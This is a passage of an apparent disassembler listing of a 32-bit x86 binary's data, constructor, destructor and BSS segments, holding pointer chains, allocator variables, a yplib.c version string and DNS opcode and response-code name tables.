DATA XREF: .data:08078B58o ; .data:08078B5Co dd offset off_8078B54 off_8078B5C dd offset off_8078B54 ; DATA XREF: .data:08078B60o ; .data:08078B64o dd offset off_8078B5C off_8078B64 dd offset off_8078B5C ; DATA XREF: .data:08078B68o ; .data:08078B6Co dd offset off_8078B64 off_8078B6C dd offset off_8078B64 ; DATA XREF: .data:08078B70o ; .data:08078B74o dd offset off_8078B6C off_8078B74 dd offset off_8078B6C ; DATA XREF: .data:08078B78o ; .data:08078B7Co dd offset off_8078B74 off_8078B7C dd offset off_8078B74 ; DATA XREF: .data:08078B80o ; .data:08078B84o dd offset off_8078B7C off_8078B84 dd offset off_8078B7C ; DATA XREF: .data:08078B88o ; .data:08078B8Co dd offset off_8078B84 off_8078B8C dd offset off_8078B84 ; DATA XREF: .data:08078B90o ; .data:08078B94o dd offset off_8078B8C off_8078B94 dd offset off_8078B8C ; DATA XREF: .data:08078B98o ; .data:08078B9Co dd offset off_8078B94 off_8078B9C dd offset off_8078B94 ; DATA XREF: .data:08078BA0o ; .data:08078BA4o dd offset off_8078B9C off_8078BA4 dd offset off_8078B9C ; DATA XREF: .data:08078BA8o ; .data:08078BACo dd offset off_8078BA4 off_8078BAC dd offset off_8078BA4 ; DATA XREF: .data:08078BB0o ; .data:08078BB4o dd offset off_8078BAC off_8078BB4 dd offset off_8078BAC ; DATA XREF: .data:08078BB8o ; .data:08078BBCo dd offset off_8078BB4 off_8078BBC dd offset off_8078BB4 ; DATA XREF: .data:08078BC0o ; .data:08078BC4o dd offset off_8078BBC off_8078BC4 dd offset off_8078BBC ; DATA XREF: .data:08078BC8o ; .data:08078BCCo dd offset off_8078BC4 off_8078BCC dd offset off_8078BC4 ; DATA XREF: .data:08078BD0o ; .data:08078BD4o dd offset off_8078BCC off_8078BD4 dd offset off_8078BCC ; DATA XREF: .data:08078BD8o ; .data:08078BDCo dd offset off_8078BD4 off_8078BDC dd offset off_8078BD4 ; DATA XREF: .data:08078BE0o ; .data:08078BE4o dd offset off_8078BDC off_8078BE4 dd offset off_8078BDC ; DATA XREF: .data:08078BE8o ; .data:08078BECo dd offset off_8078BE4 off_8078BEC dd offset off_8078BE4 ; DATA XREF: .data:08078BF0o ; .data:08078BF4o dd offset off_8078BEC off_8078BF4 dd offset off_8078BEC ; DATA XREF: .data:08078BF8o ; .data:08078BFCo dd offset off_8078BF4 off_8078BFC dd offset off_8078BF4 ; DATA XREF: .data:08078C00o ; .data:08078C04o dd offset off_8078BFC off_8078C04 dd offset off_8078BFC ; DATA XREF: .data:08078C08o ; .data:08078C0Co dd offset off_8078C04 off_8078C0C dd offset off_8078C04 ; DATA XREF: .data:08078C10o ; .data:08078C14o dd offset off_8078C0C off_8078C14 dd offset off_8078C0C ; DATA XREF: .data:08078C18o ; .data:08078C1Co dd offset off_8078C14 off_8078C1C dd offset off_8078C14 ; DATA XREF: .data:08078C20o ; .data:08078C24o dd offset off_8078C1C off_8078C24 dd offset off_8078C1C ; DATA XREF: .data:08078C28o ; .data:08078C2Co dd offset off_8078C24 off_8078C2C dd offset off_8078C24 ; DATA XREF: .data:08078C30o ; .data:08078C34o dd offset off_8078C2C off_8078C34 dd offset off_8078C2C ; DATA XREF: .data:08078C38o ; .data:08078C3Co dd offset off_8078C34 off_8078C3C dd offset off_8078C34 ; DATA XREF: .data:08078C40o ; .data:08078C44o dd offset off_8078C3C off_8078C44 dd offset off_8078C3C ; DATA XREF: .data:08078C48o ; .data:08078C4Co dd offset off_8078C44 off_8078C4C dd offset off_8078C44 ; DATA XREF: .data:08078C50o ; .data:08078C54o dd offset off_8078C4C off_8078C54 dd offset off_8078C4C ; DATA XREF: .data:08078C58o ; .data:08078C5Co dd offset off_8078C54 off_8078C5C dd offset off_8078C54 ; DATA XREF: .data:08078C60o ; .data:08078C64o dd offset off_8078C5C off_8078C64 dd offset off_8078C5C ; DATA XREF: .data:08078C68o ; .data:08078C6Co dd offset off_8078C64 off_8078C6C dd offset off_8078C64 ; DATA XREF: .data:08078C70o ; .data:08078C74o dd offset off_8078C6C off_8078C74 dd offset off_8078C6C ; DATA XREF: .data:08078C78o ; .data:08078C7Co dd offset off_8078C74 off_8078C7C dd offset off_8078C74 ; DATA XREF: .data:08078C80o ; .data:08078C84o dd offset off_8078C7C off_8078C84 dd offset off_8078C7C ; DATA XREF: .data:08078C88o ; .data:08078C8Co dd offset off_8078C84 off_8078C8C dd offset off_8078C84 ; DATA XREF: .data:08078C90o ; .data:08078C94o dd offset off_8078C8C off_8078C94 dd offset off_8078C8C ; DATA XREF: .data:08078C98o ; .data:08078C9Co dd offset off_8078C94 off_8078C9C dd offset off_8078C94 ; DATA XREF: .data:08078CA0o ; .data:08078CA4o dd offset off_8078C9C off_8078CA4 dd offset off_8078C9C ; DATA XREF: .data:08078CA8o ; .data:08078CACo dd offset off_8078CA4 off_8078CAC dd offset off_8078CA4 ; DATA XREF: .data:08078CB0o ; .data:08078CB4o dd offset off_8078CAC off_8078CB4 dd offset off_8078CAC ; DATA XREF: .data:08078CB8o ; .data:08078CBCo dd offset off_8078CB4 off_8078CBC dd offset off_8078CB4 ; DATA XREF: .data:08078CC0o ; .data:08078CC4o dd offset off_8078CBC off_8078CC4 dd offset off_8078CBC ; DATA XREF: .data:08078CC8o ; .data:08078CCCo dd offset off_8078CC4 off_8078CCC dd offset off_8078CC4 ; DATA XREF: .data:08078CD0o ; .data:08078CD4o dd offset off_8078CCC off_8078CD4 dd offset off_8078CCC ; DATA XREF: .data:08078CD8o ; .data:08078CDCo dd offset off_8078CD4 off_8078CDC dd offset off_8078CD4 ; DATA XREF: .data:08078CE0o ; .data:08078CE4o dd offset off_8078CDC off_8078CE4 dd offset off_8078CDC ; DATA XREF: .data:08078CE8o ; .data:08078CECo dd offset off_8078CE4 off_8078CEC dd offset off_8078CE4 ; DATA XREF: .data:08078CF0o ; .data:08078CF4o dd offset off_8078CEC off_8078CF4 dd offset off_8078CEC ; DATA XREF: .data:08078CF8o ; .data:08078CFCo dd offset off_8078CF4 off_8078CFC dd offset off_8078CF4 ; DATA XREF: .data:08078D00o ; .data:08078D04o dd offset off_8078CFC off_8078D04 dd offset off_8078CFC ; DATA XREF: .data:08078D08o ; .data:08078D0Co dd offset off_8078D04 off_8078D0C dd offset off_8078D04 ; DATA XREF: .data:08078D10o ; .data:08078D14o dd offset off_8078D0C off_8078D14 dd offset off_8078D0C ; DATA XREF: .data:08078D18o ; .data:08078D1Co dd offset off_8078D14 off_8078D1C dd offset off_8078D14 ; DATA XREF: .data:08078D20o ; .data:08078D24o dd offset off_8078D1C off_8078D24 dd offset off_8078D1C ; DATA XREF: .data:08078D28o ; .data:08078D2Co dd offset off_8078D24 off_8078D2C dd offset off_8078D24 ; DATA XREF: .data:08078D30o ; .data:08078D34o dd offset off_8078D2C off_8078D34 dd offset off_8078D2C ; DATA XREF: .data:08078D38o ; .data:08078D3Co dd offset off_8078D34 off_8078D3C dd offset off_8078D34 ; DATA XREF: .data:08078D40o ; .data:08078D44o dd offset off_8078D3C off_8078D44 dd offset off_8078D3C ; DATA XREF: .data:08078D48o ; .data:08078D4Co dd offset off_8078D44 off_8078D4C dd offset off_8078D44 ; DATA XREF: .data:08078D50o ; .data:08078D54o dd offset off_8078D4C off_8078D54 dd offset off_8078D4C ; DATA XREF: .data:08078D58o ; .data:08078D5Co dd offset off_8078D54 off_8078D5C dd offset off_8078D54 ; DATA XREF: .data:08078D60o ; .data:08078D64o dd offset off_8078D5C off_8078D64 dd offset off_8078D5C ; DATA XREF: .data:08078D68o ; .data:08078D6Co dd offset off_8078D64 off_8078D6C dd offset off_8078D64 ; DATA XREF: .data:08078D70o ; .data:08078D74o dd offset off_8078D6C off_8078D74 dd offset off_8078D6C ; DATA XREF: .data:08078D78o ; .data:08078D7Co dd offset off_8078D74 off_8078D7C dd offset off_8078D74 ; DATA XREF: .data:08078D80o ; .data:08078D84o dd offset off_8078D7C off_8078D84 dd offset off_8078D7C ; DATA XREF: .data:08078D88o ; .data:08078D8Co dd offset off_8078D84 off_8078D8C dd offset off_8078D84 ; DATA XREF: .data:08078D90o ; .data:08078D94o dd offset off_8078D8C off_8078D94 dd offset off_8078D8C ; DATA XREF: .data:08078D98o ; .data:08078D9Co dd offset off_8078D94 off_8078D9C dd offset off_8078D94 ; DATA XREF: .data:08078DA0o ; .data:08078DA4o dd offset off_8078D9C off_8078DA4 dd offset off_8078D9C ; DATA XREF: .data:08078DA8o ; .data:08078DACo dd offset off_8078DA4 off_8078DAC dd offset off_8078DA4 ; DATA XREF: .data:08078DB0o ; .data:08078DB4o dd offset off_8078DAC off_8078DB4 dd offset off_8078DAC ; DATA XREF: .data:08078DB8o ; .data:08078DBCo dd offset off_8078DB4 off_8078DBC dd offset off_8078DB4 ; DATA XREF: .data:08078DC0o ; .data:08078DC4o dd offset off_8078DBC off_8078DC4 dd offset off_8078DBC ; DATA XREF: .data:08078DC8o ; .data:08078DCCo dd offset off_8078DC4 off_8078DCC dd offset off_8078DC4 ; DATA XREF: .data:08078DD0o ; .data:08078DD4o dd offset off_8078DCC off_8078DD4 dd offset off_8078DCC ; DATA XREF: .data:08078DD8o ; .data:08078DDCo dd offset off_8078DD4 off_8078DDC dd offset off_8078DD4 ; DATA XREF: .data:08078DE0o ; .data:08078DE4o dd offset off_8078DDC off_8078DE4 dd offset off_8078DDC ; DATA XREF: .data:08078DE8o ; .data:08078DECo dd offset off_8078DE4 off_8078DEC dd offset off_8078DE4 ; DATA XREF: .data:08078DF0o ; .data:08078DF4o dd offset off_8078DEC off_8078DF4 dd offset off_8078DEC ; DATA XREF: .data:08078DF8o ; .data:08078DFCo dd offset off_8078DF4 off_8078DFC dd offset off_8078DF4 ; DATA XREF: .data:08078E00o ; .data:08078E04o dd offset off_8078DFC off_8078E04 dd offset off_8078DFC ; DATA XREF: .data:08078E08o ; .data:08078E0Co dd offset off_8078E04 off_8078E0C dd offset off_8078E04 ; DATA XREF: .data:08078E10o ; .data:08078E14o dd offset off_8078E0C off_8078E14 dd offset off_8078E0C ; DATA XREF: .data:08078E18o ; .data:08078E1Co dd offset off_8078E14 off_8078E1C dd offset off_8078E14 ; DATA XREF: .data:08078E20o ; .data:08078E24o dd offset off_8078E1C off_8078E24 dd offset off_8078E1C ; DATA XREF: .data:08078E28o ; .data:08078E2Co dd offset off_8078E24 off_8078E2C dd offset off_8078E24 ; DATA XREF: .data:08078E30o ; .data:08078E34o dd offset off_8078E2C off_8078E34 dd offset off_8078E2C ; DATA XREF: .data:08078E38o ; .data:08078E3Co dd offset off_8078E34 off_8078E3C dd offset off_8078E34 ; DATA XREF: .data:08078E40o ; .data:08078E44o dd offset off_8078E3C off_8078E44 dd offset off_8078E3C ; DATA XREF: .data:08078E48o ; .data:08078E4Co dd offset off_8078E44 off_8078E4C dd offset off_8078E44 ; DATA XREF: .data:08078E50o ; .data:08078E54o dd offset off_8078E4C off_8078E54 dd offset off_8078E4C ; DATA XREF: .data:08078E58o ; .data:08078E5Co dd offset off_8078E54 off_8078E5C dd offset off_8078E54 ; DATA XREF: .data:08078E60o ; .data:08078E64o dd offset off_8078E5C off_8078E64 dd offset off_8078E5C ; DATA XREF: .data:08078E68o ; .data:08078E6Co dd offset off_8078E64 off_8078E6C dd offset off_8078E64 ; DATA XREF: .data:08078E70o ; .data:08078E74o dd offset off_8078E6C off_8078E74 dd offset off_8078E6C ; DATA XREF: .data:08078E78o ; .data:08078E7Co dd offset off_8078E74 off_8078E7C dd offset off_8078E74 ; DATA XREF: .data:08078E80o ; .data:08078E84o dd offset off_8078E7C off_8078E84 dd offset off_8078E7C ; DATA XREF: .data:08078E88o ; .data:08078E8Co dd offset off_8078E84 off_8078E8C dd offset off_8078E84 ; DATA XREF: .data:08078E90o ; .data:08078E94o dd offset off_8078E8C off_8078E94 dd offset off_8078E8C ; DATA XREF: .data:08078E98o ; .data:08078E9Co dd offset off_8078E94 off_8078E9C dd offset off_8078E94 ; DATA XREF: .data:08078EA0o ; .data:08078EA4o dd offset off_8078E9C off_8078EA4 dd offset off_8078E9C ; DATA XREF: .data:08078EA8o ; .data:08078EACo dd offset off_8078EA4 off_8078EAC dd offset off_8078EA4 ; DATA XREF: .data:08078EB0o ; .data:08078EB4o dd offset off_8078EAC off_8078EB4 dd offset off_8078EAC ; DATA XREF: .data:08078EB8o ; .data:08078EBCo dd offset off_8078EB4 off_8078EBC dd offset off_8078EB4 ; DATA XREF: .data:08078EC0o ; .data:08078EC4o dd offset off_8078EBC off_8078EC4 dd offset off_8078EBC ; DATA XREF: .data:08078EC8o ; .data:08078ECCo dd offset off_8078EC4 off_8078ECC dd offset off_8078EC4 ; DATA XREF: .data:08078ED0o ; .data:08078ED4o dd offset off_8078ECC off_8078ED4 dd offset off_8078ECC ; DATA XREF: .data:08078ED8o ; .data:08078EDCo dd offset off_8078ED4 off_8078EDC dd offset off_8078ED4 ; DATA XREF: .data:08078EE0o ; .data:08078EE4o dd offset off_8078EDC off_8078EE4 dd offset off_8078EDC ; DATA XREF: .data:08078EE8o ; .data:08078EECo dd offset off_8078EE4 off_8078EEC dd offset off_8078EE4 ; DATA XREF: .data:08078EF0o ; .data:08078EF4o dd offset off_8078EEC off_8078EF4 dd offset off_8078EEC ; DATA XREF: .data:08078EF8o ; .data:08078EFCo dd offset off_8078EF4 off_8078EFC dd offset off_8078EF4 ; DATA XREF: .data:08078F00o ; .data:08078F04o dd offset off_8078EFC off_8078F04 dd offset off_8078EFC ; DATA XREF: .data:08078F08o ; .data:08078F0Co dd offset off_8078F04 off_8078F0C dd offset off_8078F04 ; DATA XREF: .data:08078F10o ; .data:08078F14o dd offset off_8078F0C off_8078F14 dd offset off_8078F0C ; DATA XREF: .data:08078F18o ; .data:08078F1Co dd offset off_8078F14 off_8078F1C dd offset off_8078F14 ; DATA XREF: .data:08078F20o ; .data:08078F24o dd offset off_8078F1C off_8078F24 dd offset off_8078F1C ; DATA XREF: .data:08078F28o ; .data:08078F2Co dd offset off_8078F24 off_8078F2C dd offset off_8078F24 ; DATA XREF: .data:08078F30o ; .data:08078F34o dd offset off_8078F2C off_8078F34 dd offset off_8078F2C ; DATA XREF: sub_805CA24+95o ; sub_805CA24+132o db 0 ; db 0 ; db 0 ; db 0 ; dword_8078F3C dd 20000h ; DATA XREF: free+70r sub_805CC44+22w dword_8078F40 dd 0 ; DATA XREF: sub_805BBF4+21r free+7Cr ... dword_8078F44 dd 40h ; DATA XREF: sub_805BA88+17r ; sub_805CC44+54w dword_8078F48 dd 20000h ; DATA XREF: malloc+43Dr ; sub_805CC44+44w dword_8078F4C dd 0FFFFFFFFh ; DATA XREF: sub_805BBF4+2Ar ; sub_805BBF4+84r ... dword_8078F50 dd 0 ; DATA XREF: sub_805BBF4+150r ; sub_805BBF4+158w dword_8078F54 dd 0 ; DATA XREF: sub_805BA88+91r ; sub_805BA88+99w ... dword_8078F58 dd 0 ; DATA XREF: sub_805BA88+8Br ; sub_805BB64+6Fr ... dword_8078F5C dd 0 ; DATA XREF: sub_805CA24+13Ew db 0 ; db 0 ; db 0 ; db 0 ; dword_8078F64 dd 0 ; DATA XREF: sub_805CA24+15Dw dword_8078F68 dd 0 ; DATA XREF: sub_805CA24+167w db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; dword_8078F74 dd 0 ; DATA XREF: sub_805CA24+14Cw ; sub_805CBA8+38r dword_8078F78 dd 0 ; DATA XREF: sub_805CA24+152w dword_8078F7C dd 0 ; DATA XREF: sub_805CA24+175w dword_8078F80 dd 0 ; DATA XREF: sub_805BA88+12r ; sub_805BA88+44w ... dword_8078F84 dd 0 ; DATA XREF: sub_805BA88+50r ; sub_805BA88+58w ... dword_8078F88 dd 0 ; DATA XREF: sub_805BA88+6Er ; sub_805BA88+74w ... dword_8078F8C dd 0 ; DATA XREF: sub_805BA88+79r ; sub_805BA88+81w ... dd offset aYplib_cV2_6199 ; "yplib.c,v 2.6 1994/05/27 14:34:43 swen "... dword_8078F94 dd 0FFFFFFFFh ; DATA XREF: sub_805CE84+21r ; sub_805CE84+2Ar ... dword_8078F98 dd 0 ; DATA XREF: sub_805E110+A0r ; sub_805E110+BBr ... dword_8078F9C dd 0 ; DATA XREF: init_services_resolv+198r ; init_services_resolv+2A1r ... dword_8078FA0 dd 8069BC0h ; DATA XREF: init_services_resolv+DBr ; init_services_resolv+153r ... dword_8078FA4 dd 806A5C2h ; DATA XREF: sub_804D458+16r ; sub_8053310+10E1r ... dword_8078FA8 dd 8069FC1h ; DATA XREF: sub_8056064+E2r ; sub_8056064+FFr ... dword_8078FAC dd 80699BFh ; DATA XREF: sub_805F1DC+82r dd offset aIquery ; "IQUERY" dd offset aCquerym ; "CQUERYM" dd offset aCqueryu ; "CQUERYU" dd offset aNotify ; "NOTIFY" dd offset a8765+6 dd offset a8765+4 dd offset a8765+2 dd offset a8765 ; "8765" dd offset aUpdatea ; "UPDATEA" dd offset aUpdated ; "UPDATED" dd offset aUpdateda ; "UPDATEDA" dd offset aUpdatem ; "UPDATEM" dd offset aUpdatema ; "UPDATEMA" dd offset aZoneinit ; "ZONEINIT" dd offset aZoneref ; "ZONEREF" dword_8078FEC dd 8069A08h ; DATA XREF: sub_805F1DC+71r dd offset aFormerr ; "FORMERR" dd offset aServfail ; "SERVFAIL" dd offset aNxdomain ; "NXDOMAIN" dd offset aNotimp ; "NOTIMP" dd offset aRefused ; "REFUSED" dd offset a8765+4 dd offset a8765+2 dd offset a8765 ; "8765" dd offset a9 ; "9" dd offset a10 ; "10" dd offset a11 ; "11" dd offset a12 ; "12" dd offset a13 ; "13" dd offset a14 ; "14" dd offset aNochange ; "NOCHANGE" unk_807902C db 0 ; ; DATA XREF: fopen+28o db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0DCh ; db 0Dh ; db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 18h ; db 11h ; db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 6Ch ; l db 10h ; db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 1Ch ; db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0B8h ; db 23h ; # db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 64h ; d db 15h ; db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 4Ch ; L db 1Dh ; db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 78h ; x db 12h ; db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0C8h ; db 1Eh ; db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 60h ; ` db 0Fh ; db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 10h ; db 12h ; db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 1Ch ; db 6Bh ; k db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 8Ch ; db 14h ; db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 10h ; db 15h ; db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0C4h ; db 14h ; db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0FCh ; db 14h ; db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0E0h ; db 14h ; db 6 ; db 8 ; dword_80790BC dd 806AABCh ; DATA XREF: sub_8062940+4Br ; sub_8062940+CFr ... dd offset unk_806AABC dd offset unk_806AABC dd offset unk_806AABC dd offset unk_806AABC dd offset unk_806AABC dword_80790D4 dd 806AABCh ; DATA XREF: sub_8062C9C+Cr ; sub_8062C9C+12w ... unk_80790D8 db 0 ; ; DATA XREF: sub_80638B8+10o ; sub_80638B8+17o db 0 ; db 0 ; db 0 ; db 9 ; db 0ADh ; db 6 ; db 8 ; db 1 ; db 0 ; db 0 ; db 0 ; db 0EDh ; db 0ACh ; db 6 ; db 8 ; db 2 ; db 0 ; db 0 ; db 0 ; db 0D4h ; db 0ACh ; db 6 ; db 8 ; db 3 ; db 0 ; db 0 ; db 0 ; db 0C0h ; db 0ACh ; db 6 ; db 8 ; db 4 ; db 0 ; db 0 ; db 0 ; db 0A9h ; db 0ACh ; db 6 ; db 8 ; db 5 ; db 0 ; db 0 ; db 0 ; db 9Ah ; db 0ACh ; db 6 ; db 8 ; db 6 ; db 0 ; db 0 ; db 0 ; db 78h ; x db 0ACh ; db 6 ; db 8 ; db 7 ; db 0 ; db 0 ; db 0 ; db 5Eh ; ^ db 0ACh ; db 6 ; db 8 ; db 8 ; db 0 ; db 0 ; db 0 ; db 45h ; E db 0ACh ; db 6 ; db 8 ; db 9 ; db 0 ; db 0 ; db 0 ; db 27h ; ' db 0ACh ; db 6 ; db 8 ; db 0Ah ; db 0 ; db 0 ; db 0 ; db 0Ch ; db 0ACh ; db 6 ; db 8 ; db 0Bh ; db 0 ; db 0 ; db 0 ; db 0E9h ; db 0ABh ; db 6 ; db 8 ; db 0Ch ; db 0 ; db 0 ; db 0 ; db 0D0h ; db 0ABh ; db 6 ; db 8 ; db 0Dh ; db 0 ; db 0 ; db 0 ; db 0BEh ; db 0ABh ; db 6 ; db 8 ; db 11h ; db 0 ; db 0 ; db 0 ; db 0A8h ; db 0ABh ; db 6 ; db 8 ; db 0Eh ; db 0 ; db 0 ; db 0 ; db 8Fh ; db 0ABh ; db 6 ; db 8 ; db 0Fh ; db 0 ; db 0 ; db 0 ; db 73h ; s db 0ABh ; db 6 ; db 8 ; db 10h ; db 0 ; db 0 ; db 0 ; db 53h ; S db 0ABh ; db 6 ; db 8 ; unk_8079168 db 0 ; ; DATA XREF: sub_8063A74+10o ; sub_8063A74+17o db 0 ; db 0 ; db 0 ; db 0F1h ; db 0ADh ; db 6 ; db 8 ; db 1 ; db 0 ; db 0 ; db 0 ; db 0D7h ; db 0ADh ; db 6 ; db 8 ; db 2 ; db 0 ; db 0 ; db 0 ; db 0BCh ; db 0ADh ; db 6 ; db 8 ; db 3 ; db 0 ; db 0 ; db 0 ; db 0A4h ; db 0ADh ; db 6 ; db 8 ; db 4 ; db 0 ; db 0 ; db 0 ; db 8Bh ; db 0ADh ; db 6 ; db 8 ; db 5 ; db 0 ; db 0 ; db 0 ; db 70h ; p db 0ADh ; db 6 ; db 8 ; db 6 ; db 0 ; db 0 ; db 0 ; db 58h ; X db 0ADh ; db 6 ; db 8 ; db 7 ; db 0 ; db 0 ; db 0 ; db 3Dh ; = db 0ADh ; db 6 ; db 8 ; off_80791A8 dd offset sub_8063D20 ; DATA XREF: sub_8063B04+1ECo dd offset sub_8063FAC dd offset sub_8063F60 dd offset sub_8063F84 dd offset sub_806402C dd offset sub_8063FB4 off_80791C0 dd offset sub_8064438 ; DATA XREF: sub_80641C8+D8o dd offset sub_80648D0 dd offset sub_8064884 dd offset sub_80648A8 dd offset sub_8064978 dd offset sub_80648D8 dword_80791D8 dd 5 ; DATA XREF: sub_80649E0+37r dword_80791DC dd 0 ; DATA XREF: sub_80649E0+30r dword_80791E0 dd 3Ch ; DATA XREF: sub_80649E0+73r dword_80791E4 dd 0 ; DATA XREF: sub_80649E0+6Dr unk_80791E8 db 0 ; ; DATA XREF: sub_8064C48+32o db 0 ; db 0 ; db 0 ; db 70h ; p db 4Bh ; K db 6 ; db 8 ; db 1 ; db 0 ; db 0 ; db 0 ; db 0E8h ; db 4Bh ; K db 6 ; db 8 ; db 0FFh ; db 0FFh ; db 0FFh ; db 0FFh ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; dword_8079220 dd 0 ; DATA XREF: sub_8063958+2Dr ; sub_8063958+42r ... dword_8079224 dd 0 ; DATA XREF: sub_8063958+60r ; sub_80649E0+A7o dword_8079228 dd 0 ; DATA XREF: sub_8063958+86r ; sub_8063958+8Fr ... db 0 ; db 0 ; db 0 ; db 0 ; dword_8079230 dd 0 ; DATA XREF: sub_8063D20+138r ; sub_8064438+172r ... dword_8079234 dd 0 ; DATA XREF: sub_8063D20+141r ; sub_8064438+17Br ... dword_8079238 dd 0 ; DATA XREF: sub_8063D20+14Ar ; sub_8064438+184r ... unk_807923C db 0 ; ; DATA XREF: sub_8065120+6Fo db 0 ; db 0 ; db 0 ; off_8079240 dd offset sub_806543C ; DATA XREF: sub_8065408+12o dd offset sub_8065474 dd offset sub_80654AC dd offset sub_80654E8 dd offset sub_8065524 dd offset sub_8065538 dd offset sub_8065568 dd offset sub_8065434 off_8079260 dd offset sub_8065848 ; DATA XREF: sub_8065750+94o dd offset sub_80658B4 dd offset sub_8065910 dd offset sub_806597C dd offset sub_80659EC dd offset sub_8065A40 dd offset sub_8065AB8 dd offset sub_8065B0C dword_8079280 dd 0 ; DATA XREF: sub_80661E8+13r ; sub_80661E8+20w ... off_8079284 dd offset unk_806BBBC ; DATA XREF: .rodata:0806AA10o dword_8079288 dd 806A9C4h ; DATA XREF: sub_8066BC4+3r off_807928C dd offset unk_806BC14 ; DATA XREF: .rodata:0806AA18o off_8079290 dd offset unk_806BBC8 ; DATA XREF: .rodata:0806AA14o off_8079294 dd offset unk_806BC54 ; DATA XREF: .rodata:0806AA0Co off_8079298 dd offset sub_806717C ; DATA XREF: sub_8067094+61o dd offset sub_806714C dd offset sub_8067184 dd offset sub_8067190 dd offset sub_806719C _data ends ; 様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様 ; Segment type: Pure data _ctors segment dword public 'DATA' use32 assume cs:_ctors ;org 80792ACh dword_80792AC dd 0FFFFFFFFh ; DATA XREF: sub_80675A8+1o ; sub_80675A8+6r db 0 ; db 0 ; db 0 ; db 0 ; _ctors ends ; 様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様 ; Segment type: Pure data _dtors segment dword public 'DATA' use32 assume cs:_dtors ;org 80792B4h db 0FFh ; db 0FFh ; db 0FFh ; db 0FFh ; dword_80792B8 dd 0 ; DATA XREF: sub_8048110+1o ; sub_8048110+6r _dtors ends ; 様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様 ; Segment type: Uninitialized _bss segment dword public 'BSS' use32 assume cs:_bss ;org 80792BCh assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing dword_80792BC dd ? ; DATA XREF: get_haddr+1Fo ; get_haddr+29r unk_80792C0 db ? ; ; DATA XREF: reorder_addrs+96o ; reorder_addrs+349o db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; dword_80793B0 dd ? ; DATA XREF: reorder_addrs+96w ; reorder_addrs+DFr ... unk_80793B4 db ? ; ; DATA XREF: _gethtbyname+34o db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db 